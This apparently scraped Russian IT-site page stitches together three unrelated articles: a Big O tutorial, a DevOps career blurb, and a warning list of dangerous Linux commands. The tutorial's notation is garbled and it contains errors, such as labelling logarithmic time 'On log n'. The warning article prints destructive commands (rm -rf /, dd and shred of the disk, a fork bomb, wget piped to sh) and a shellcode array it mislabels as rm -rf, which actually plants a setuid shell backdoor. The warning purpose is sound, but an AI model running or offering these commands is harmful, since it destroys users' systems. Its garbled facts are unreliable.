По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
Алгоритм
– это набор четко сформулированных инструкций, который применяется для решения конкретной задачи. Эти задачи вы можете решать любым удобным для вас способом.
Это значит, что ваш метод, который вы используете для решения задачи, может отличаться от моего, но при этом мы оба должны получить один и тот же результат.
Так как способ решения одной и той же задачи может быть не один, то должен существовать и способ оценить эти решения или алгоритмы с точки зрения оптимальности и эффективности (время, которое требуется для запуска/выполнения вашего алгоритма, и общий объем потребляемой памяти).
Этот этап довольно важный для программистов. Его цель - помочь убедиться, что их приложения работают должным образом, и помочь написать чистый программный код.
И вот здесь на первый план выходит обозначение «О большое». «О большое» - это метрика, которая определяет эффективность алгоритма. Она позволяет оценить, сколько времени занимает выполнение программного кода с различными входными данными, и измерить, насколько эффективно этот программный код масштабируется по мере увеличения размера входных данных.
Что такое «О большое»?
«О большое» показывает сложность алгоритма для наихудшего случая. Для описания сложности алгоритма здесь используются алгебраические выражения.
«О большое» определяет время выполнения алгоритма, показывая, как будет меняться оптимальность алгоритма по мере увеличения размера входных данных. Однако этот показатель не расскажет вам о том, насколько быстро работает ваш алгоритм.
«О большое» измеряет эффективность и оптимальность алгоритма, основываясь на временной и пространственной сложности.
Что такое временная и пространственная сложность?
Один из самых основных факторов, который влияет на оптимальность и эффективность вашей программы – это оборудование, ОС и ЦП, которые вы используете.
Однако при анализе оптимальности алгоритма это не учитывается. Куда важнее учесть временную и пространственную сложность как функцию, которая зависит от размера входных данных.
Временная сложность алгоритма – это то, сколько времени потребуется для выполнения алгоритма в зависимости от размера входных данных. Аналогично пространственная сложность – это то, сколько пространства или памяти потребуется для выполнения алгоритма в зависимости от размера входных данных.
В данной статье мы рассмотрим временную сложность. Эта статья станет для вас своего рода шпаргалкой, которая поможет вам понять, как можно рассчитать временную сложность для любого алгоритма.
Почему временная сложность зависит от размера входных данных?
Для того, чтобы полностью понять, что же такое «зависимость от входных данных», представьте, что у вас есть некий алгоритм, который вычисляет сумму чисел, основываясь на ваших входных данных. Если вы ввели 4, то он сложит 1+2+3+4, и на выходе получится 10; если вы ввели 5, то на выходе будет 15 (то есть алгоритм сложил 1+2+3+4+5).
const calculateSum = (input) => {
let sum = 0;
for (let i = 0; i <= input; i++) {
sum += i;
}
return sum;
};
В приведенном выше фрагменте программного кода есть три оператора:
Давайте посмотрим на картинку выше. У нас есть три оператора. При этом, так как у нас есть цикл, то второй оператор будет выполняться, основываясь на размере входных данных, поэтому, если на входе алгоритм получает 4, то второй оператор будет выполняться четыре раза. А значит, в целом алгоритм выполнится шесть (4+2) раз.
Проще говоря, алгоритм будет выполняться input+2 раза; input может быть любым числом. Это говорит о том, что алгоритм выражается в терминах входных данных. Иными словами, это функция, которая зависит от размера входных данных.
Для понятия «О большое» есть шесть основных типов сложностей (временных и пространственных):
Постоянное время: O1
Линейное время: On
Логарифмическое время: On log n
Квадратичное время: On2
Экспоненциальное время: O2n
Факториальное время: On!
Прежде чем мы перейдем к рассмотрению всех этих временных сложностей, давайте посмотрим на диаграмму временной сложности «О большого».
Диаграмма временной сложности «О большого»
Диаграмма «О большого» - это асимптотические обозначение, которое используется для выражения сложности алгоритма или его оптимальности в зависимости от размера входных данных.
Данная диаграмма помогает программистам определить сценарий наихудшего случая, а также оценить время выполнения и объем требуемой памяти.
Следующий график иллюстрирует сложность «О большого»:
Глядя на приведенную выше диаграмму, можно определить, что O1 – постоянное время выполнения алгоритма, является наилучшим вариантом. Это означает, что ваш алгоритм обрабатывает только один оператор без какой-либо итерации. Дальше идет Olog n , что тоже является неплохим вариантом, и другие:
O1 – отлично/наилучший случай
Olog n – хорошо
On – удовлетворительно
On log n – плохо
On2, O2n, On! – ужасно/наихудший случай
Теперь вы имеете представление о различных временных сложностях, а также можете понять, какие из них наилучшие, хорошие или удовлетворительные, а какие плохие и наихудшие (плохих и наихудших временных сложностей следует избегать).
Следующий вопрос, который может прийти на ум: «какой алгоритм какую сложность имеет?» И это вполне логичный вопрос, ведь эта статья задумывалась как шпаргалка. ?
Когда ваши расчеты не зависят от размера входных данных, то это постоянная временная сложность - O1.
Когда размер входных данных уменьшается в два раза, например, при итерации, обработке рекурсии и т.д., то это логарифмическая временная сложность - Olog n .
Когда у вас один цикл в алгоритме, то это линейная временная сложность - On.
Когда у вас есть вложенные циклы, то есть цикл в цикле, то это квадратичная временная сложность - On2.
Когда скорость роста удваивается при каждом добавлении входных данных, то это экспоненциальная временная сложность - O2n.
Давайте перейдем к описанию временных сложностей. Для каждой будут приведены примеры. Отмечу, что в примерах я использовал JavaScript, но если вы понимаете принцип и что из себя представляет каждая временная сложность, то не имеет значения, какой язык программирования вы выберите.
Примеры временных сложностей «О большого»
Постоянное время: O1
Когда алгоритм не зависит от размера входных данных n, то говорят, что он имеет постоянную временную сложность порядка O1. Это значит, что время выполнения алгоритма всегда будет одним и тем же, независимо от размера входных данных.
Допустим, что задача алгоритма – вернуть первый элемент массива. Даже если массив состоит из миллиона элементов, временная сложность будет постоянной, если использовать следующий подход для решения задачи:
const firstElement = (array) => {
return array[0];
};
let score = [12, 55, 67, 94, 22];
console.log(firstElement(score)); // 12
Приведенная выше функция выполняет лишь один шаг, а это значит, что функция работает за постоянное время, и ее временная сложность O1.
Однако, как уже было сказано, разные программисты могут найти разные способы решения задачи. Например, другой программист может решить, что сначала надо пройти по массиву, а затем уже вернуть первый элемент:
const firstElement = (array) => {
for (let i = 0; i < array.length; i++) {
return array[0];
}
};
let score = [12, 55, 67, 94, 22];
console.log(firstElement(score)); // 12
Это просто пример – вряд ли кто-то будет решать эту задачу таким способом. Но здесь уже есть цикл, а значит алгоритм не будет выполняться за постоянное время, здесь в игру вступает линейное время с временной сложностью On.
Линейное время: On
Линейная временная сложность возникает, когда время работы алгоритма увеличивается линейно с размером входных данных. Когда функция имеет итерацию по входному значению n, то говорят, что она имеет временную сложность порядка On.
Допустим, алгоритм должен вычислить и вернуть факториал любого числа, которое вы введете. Это значит, что если вы введете число 5, то алгоритм должен выполнить цикл и умножить 1·2·3·4·5, а затем вывести результат – 120:
const calcFactorial = (n) => {
let factorial = 1;
for (let i = 2; i <= n; i++) {
factorial = factorial * i;
}
return factorial;
};
console.log(calcFactorial(5)); // 120
Тот факт, что время выполнения алгоритма зависит от размера входных данных, подразумевает наличие линейной временной сложности порядка On.
Логарифмическое время: Olog n
Это чем-то похоже на линейную временную сложность. Однако здесь время выполнения зависит не от размера входных данных, а от их половины. Когда размер входных данных уменьшается на каждой итерации или шаге, то говорят, что алгоритм имеет логарифмическую временную сложность.
Такой вариант считается вторым сверху списка лучших, так как ваша программа работает лишь с половиной входных данных. И при всем при этом, размер входных данных уменьшается с каждой итерацией.
Отличный пример – функция бинарного поиска, которая делит отсортированный массив, основываясь на искомом значения.
Допустим, что нам надо найти индекс определенного элемента в массиве с помощью алгоритма бинарного поиска:
const binarySearch = (array, target) => {
let firstIndex = 0;
let lastIndex = array.length - 1;
while (firstIndex <= lastIndex) {
let middleIndex = Math.floor((firstIndex + lastIndex) / 2);
if (array[middleIndex] === target) {
return middleIndex;
}
if (array[middleIndex] > target) {
lastIndex = middleIndex - 1;
} else {
firstIndex = middleIndex + 1;
}
}
return -1;
};
let score = [12, 22, 45, 67, 96];
console.log(binarySearch(score, 96));
Приведенный выше программный код демонстрирует бинарный поиск. Судя по нему, вы сначала получаете индекс среднего элемента вашего массива, дальше вы сравниваете его с искомым значением и, если они совпадают, то вы возвращаете этот индекс. В противном случае, если они не совпали, вы должны определить, искомое значение больше или меньше среднего, чтобы можно было изменить первый и последний индекс, тем самым уменьшив размер входных данных в два раза.
Так как на каждой такой итерации размер входных данных уменьшается в два раза, то данный алгоритм имеет логарифмическую временную сложность порядка Olog n .
Квадратичное время: On2
Когда в алгоритме присутствуют вложенные циклы, то есть цикл в цикле, то временная сложность уже становится квадратичной, и здесь нет ничего хорошего.
Представьте, что у вас есть массив из n элементов. Внешний цикл будет выполняться n раз, а внутрениий – n раз для каждой итерации внешнего цикла, и, соответственно, общее количество итераций составит n2. Если в массиве было 10 элементов, то количество итераций будет 100 (102).
Ниже приведен пример, где сравниваются элементы для того, чтобы можно было вывести индекс, когда найдутся два одинаковых:
const matchElements = (array) => {
for (let i = 0; i < array.length; i++) {
for (let j = 0; j < array.length; j++) {
if (i !== j && array[i] === array[j]) {
return `Match found at ${i} and ${j}`;
}
}
}
return "No matches found ?";
};
const fruit = ["?", "?", "?", "?", "?", "?", "?", "?", "?", "?"];
console.log(matchElements(fruit)); // "Match found at 2 and 8"
В этом примере есть вложенный цикл, а значит, здесь будет квадратичная временная сложность порядка On2.
Экспоненциальное время: O2n
Экспоненциальная временная сложность появляется, когда скорость роста удваивается с каждым добавлением входных данных n, например, когда вы обходите все подмножества входных элементов. Каждый раз, когда единицу входных данных увеличивают на один, то количество итераций, которые выполняет алгоритм, увеличиваются в два раза.
Хороший пример – рекурсивная последовательность Фибоначчи. Допустим, дано число, и необходимо найти n-ый элемент последовательности Фибоначчи.
Последовательность Фибоначчи – это математическая последовательность, в которой каждое число является суммой двух предыдущих; первые два числа – 0 и 1. Третье число – 1, четвертое – 2, пятое – 3 и т.д. (0, 1, 1, 2, 3, 5, 8, 13, …).
Соответственно, если вы введете число 6, то выведется 6-й элемент в последовательности Фибоначчи – 8:
const recursiveFibonacci = (n) => {
if (n < 2) {
return n;
}
return recursiveFibonacci(n - 1) + recursiveFibonacci(n - 2);
};
console.log(recursiveFibonacci(6)); // 8
Приведенный выше алгоритм задает скорость роста, которая удваивается каждый раз, когда добавляются входные данные. А значит, данный алгоритм имеет экспоненциальную временную сложность порядка O2n.
Заключение
Из данной статьи вы узнали, что такое временная сложность, как определить оптимальность алгоритма с помощью «О большого», а также рассмотрели различные временные сложности с примерами.
Само слово состоит из двух частей - Dev (Development), то есть разработка и Ops (Operations) - эксплуатация.
Разработка и эксплуатация. Ок, запомнили. Но что это конкретно? Танец? Напиток? Профессия?
Не совсем, девопс - это модель взаимодействия тех, кто пишет код с теми, кто этот код заставляет работать - раскатывает в продакшн, управляет серверами, сетью и вот этим вот всем. Такая профессия называется ДевОпс-инженер
Любая компания, которая делает деньги на разработке программного обеспечения, хочет быстро расти, быть технологичнее и быстрее своих конкурентов, при это не забывать о наличии печенек и вкусного чая на кухне в офисе.
У серьезных компаний большая и сложная инфраструктура: куча серверов, коммутаторов, маршрутизаторов, и все это еще и раскидано географически по миру. А чтобы код их приложения заработал у пользователей, без лагов, багов и задержек, нужно учесть кучу факторов!
До появления методологии DevOps, при разработке, могли возникать случаи, когда что-то не работает, или работает не так, как хотелось бы:
«Мой код превосходен, а сервера сконфигурированы хреново, а еще ваша сеть, кхм-кхм, - говно» - говорит разработчик
«Сеть работает отлично, задержка в пределах нормы, а вы там что то наговнокодили» - парирует администратор
И понеслась. У сетевого администратора не хватало компетенций и информации о том как надо настраивать сервера, в результате чего приходилось подключать для этого разработчиков, у которых в свою очередь не было компетенций админов.
Короче, ДевОпс инженер это по сути системный администратор который работает с программным обеспечением, серверами и сетью, а также понимает как происходит процесс разработки и умеет программировать. Новый виток эволюции админа, который умеет больше и, конечно, получает больше денег.
Девопс исключит перекидывание мячика из отдела разработки к администраторам, значительно ускорит релизы новых фич и исправлений в продукте, откроет дорогу к легкому масштабированию и повышению надежности инфраструктуры, превратит вашу разработку в полноценный конвейер, даст прохладу, влажность и, скорее всего, силу земли
Итак, вот базовые вещи, которые должен знать девопс инженер:
Легко ориентироваться в Windows и Linux операционных системах - кстати, по ним у нас есть собственные курсы и никто не помешает тебе пройти бесплатный вводный урок по ссылке.
Нужно знать сетевые технологии на уровне Cisco CCNA - вот это совпадение! У нас также есть большой курс по сетевым технологиям, который поможет тебе познать самые нужные сетевые аспекты работы DevOps.
ДевОпс должен знать инструменты для управления конфигурацией и автоматизации серверов Chef, Puppet, Ansible.
И уметь писать скрипты. Ну минимум на Python. Зачем это надо? Как раз чтобы работать с этими инструментами.
Этого достаточно, чтобы уже получать в среднем по РФ 100-200 тысяч рублей!
Ну и как видавшие девопсов добавим, что будет отлично так же знать:
Про непрерывную интеграцию и доставку (CI/CD) – сборка и тестирование конечного продукта (Jenkins, TeamCity, Bamboo)
Распределенный контроль версий (Git, Mercurial, Subversion, CVS)
Контейнеризацию и оркестровку (Docker, Kubernetes, Docker Swarm)
Управление инфраструктурой как кодом (Puppet, Chef, Ansible, Salt)
Виртуализацию (Vagrant, VMware)
Подробнее об этих и других инструментах можно прочитать в этой статье.
Привет! Еcли ты только начал осваивать Linux, то просто обязан знать то, что я сейчас тебе расскажу.
В Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать.
Это как непростительные заклятия, которые не должен произносить ни один волшебник.
Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.
Внимание! Эти команды действительно могут навредить твоей системе. Компания Мерион Нетворкс снимает с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер.
Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.
В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!
Необратимые
И начнём мы с действительно "непростительных заклятий", последствия которых невозможно обратить:
rm –rf / - Удаляет всё, до чего только может добраться. Короче - “Avada Kedavra!” в Linux’е.
Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:
rm - команда для удаления файлов
-r - рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них
-f - означает “force”, не спрашивает подтверждения для выполнения операции у пользователя
/ - “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.
Таким образом, система поймёт данную команду как: “Удали мне всё, что можно и начни с корневой директории!”
В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция --preserve-root. Однако, если добавить к ней ключ --no-preserve-root, то команда всё же сработает.
Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:
mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /
Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
16-ричное представление команды rm –rf /, его система тоже поймёт.
sudo dd if=/dev/zero of=/dev/sda bs=8m - Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС.
/dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”
Обратите внимание на sudo перед последующей командой. Это значит, что её можно исполнить только под пользователем root.
Встречается ещё использование другого псевдоустройства - if=/dev/random. В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей.
shred /dev/sda - Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них.
mkfs.ext3 /dev/sda - Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные.
chmod -Rv 000 / - Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.
chown -R nobody:nobody / - Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.
Опасные, но обратимые
:(){ :|:& };: - Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию.
Чтобы лучше понять, как она действует, давайте её немного преобразуем:
fu() {
fu | fu &
}
fu
Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.
команда > file.conf - Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают > - заменить и >> - добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать > file.conf, то можно просто стереть содержимое файла.
wget http://вредоносный_сайт -O- | sh - Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь.
chmod -R 777 / - Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой.
Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи.
Ну вот и всё, теперь у тебя есть представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить. Надеемся эта статья была тебя полезна, а если ты знаешь ещё какие нибудь “непростительные заклинания” и опасные команды в Linux – пиши их в комментариях!